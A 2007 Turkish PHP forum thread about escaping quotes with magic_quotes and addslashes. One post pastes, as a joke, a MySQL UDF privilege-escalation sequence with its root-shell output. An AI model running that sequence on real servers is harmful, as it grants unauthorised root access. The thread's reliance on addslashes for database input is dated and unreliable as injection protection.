
Textarea'da tırnaklar
40
●5.099
- 09-05-2007, 20:14:38Üyeliği durduruldubu zaten get_magic_quotes_gpc aktif değilse ' vb karakterlere \ ekliyor aktif olan makinelerde hiçbirşey yapmadan geçiyor çünkü aktif olduğunda otomatik ekleniyor kontrol etme sebebide aktifse \\\' haline gelebiliyor.
hata konusunda fiktim yok bu satırlarla şimdiye kadar hiç hata almayı beceremedim
sistemdendir belkide
- 10-05-2007, 04:01:04Üyeliği durdurulduo if varsa diye değil aslında yoksa diye

get_magic varsa oto slash atar buraya kadar doğrusun ama biz kontrol etmezsek oto atıyorsa
\" haline gelir bide biz kontrol etmeden addslashes atarsak \\\" haline gelir oda db e " olarak kayıt edilmesi gerekirken \" olarak kayıt edilir
karışık konu dimi
neyse bu her serverda düzgün çalışan bişey onun için yazmıştım özellik açık olsada olmasada kullanılabilir.
saho veya biz senle baya baya yazarak anlaşamıyoruz
- 10-05-2007, 12:36:41kolayı war
use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/x.so'));select * from foo into dumpfile '/tmp/x/x.so';eate function do_system returns integer soname '/usr/lib/x.so';select * from mysql.func;select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');\! shsh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
yap
euhauh şaka şaka
<?php if (!get_magic_quotes_gpc()) { foreach ($_GET as $key => $value) { if (is_array($_GET[$key])) { foreach ($_GET[$key] as $key2 => $value2) { $_GET[$key][$key2] = addslashes($_GET[$key][$key2]); } } else { $_GET[$key] = addslashes($_GET[$key]); } } } ?>tüm get verilerine addslashes uygular - 10-05-2007, 14:22:51Üyeliği durdurulduTontonq
<?php if (!get_magic_quotes_gpc()) { foreach ($_GET as $key => $value) { if (is_array($_GET[$key])) { foreach ($_GET[$key] as $key2 => $value2) { $_GET[$key][$key2] = addslashes($_GET[$key][$key2]); } } else { $_GET[$key] = addslashes($_GET[$key]); } } } ?>
yaparak makinaya yüklenmek yerine gene
function atislas($veri){ if (!get_magic_quotes_gpc()) { $veri = addslashes($veri); } return $veri; }fonksiyonunu kullanıp
$_GET=atislas($_GET); $_POST=atislas($_POST);
gibi kullanmak daha mantıklı o kod biraz fazla genel kullanım amaçlı
atislas da ben kullandığım için siz ahmetslas mahmutslas falan diye kullanın
- 10-05-2007, 16:08:06sen bu vediğin kodu denediğinden eminmisinWhiteKey adlı üyeden alıntı: mesajı görüntüle
bak mesela
<?
function atislas($veri){
$veri = addslashes($veri);
return $veri;
}
$_GET = atislas($_GET);
echo $_GET["a"];
?>
bunu php 5 apache 2 win32 de deniyorum işe yaramiyor
<?
function atislas($veri){
$veri = htmlspecialchars($veri);
return $veri;
}
$_GET = atislas($_GET);
echo $_GET["a"];
?>
bu hiç yaramiyor hata verior
öyle olsak direk $_GET = addslashes($_GET); der geçerdik

neyse bu her serverda düzgün çalışan bişey onun için yazmıştım özellik açık olsada olmasada kullanılabilir.